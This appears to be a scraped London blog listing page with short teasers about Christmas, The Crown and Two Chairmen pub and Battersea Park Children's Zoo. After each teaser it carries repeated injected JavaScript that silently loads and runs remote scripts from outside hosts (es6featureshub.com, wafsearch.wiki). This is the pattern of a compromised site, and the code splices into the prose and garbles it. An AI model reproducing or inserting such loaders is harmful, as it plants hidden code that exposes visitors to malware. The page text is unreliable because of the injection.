It is that time of year again. Even the most reluctant revellers out there have to now accept that Christmas truly is closing in.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

10 Dec 2013 | 0 Comments
The Crown and Two Chairmen exterior

The Crown and Two Chairmen

The Crown and Two Chairmen is smart, stylish and some distance away from its more solitary soul-searching  appeal of yesteryear.  ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

09 Dec 2013 | 1 Comment
Capuchin at Battersea Park Children's Zoo

Battersea Park Children's Zoo

When visiting or living in London, it can be important from time to time to escape the city bustle. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

07 Dec 2013 | 2 Comments

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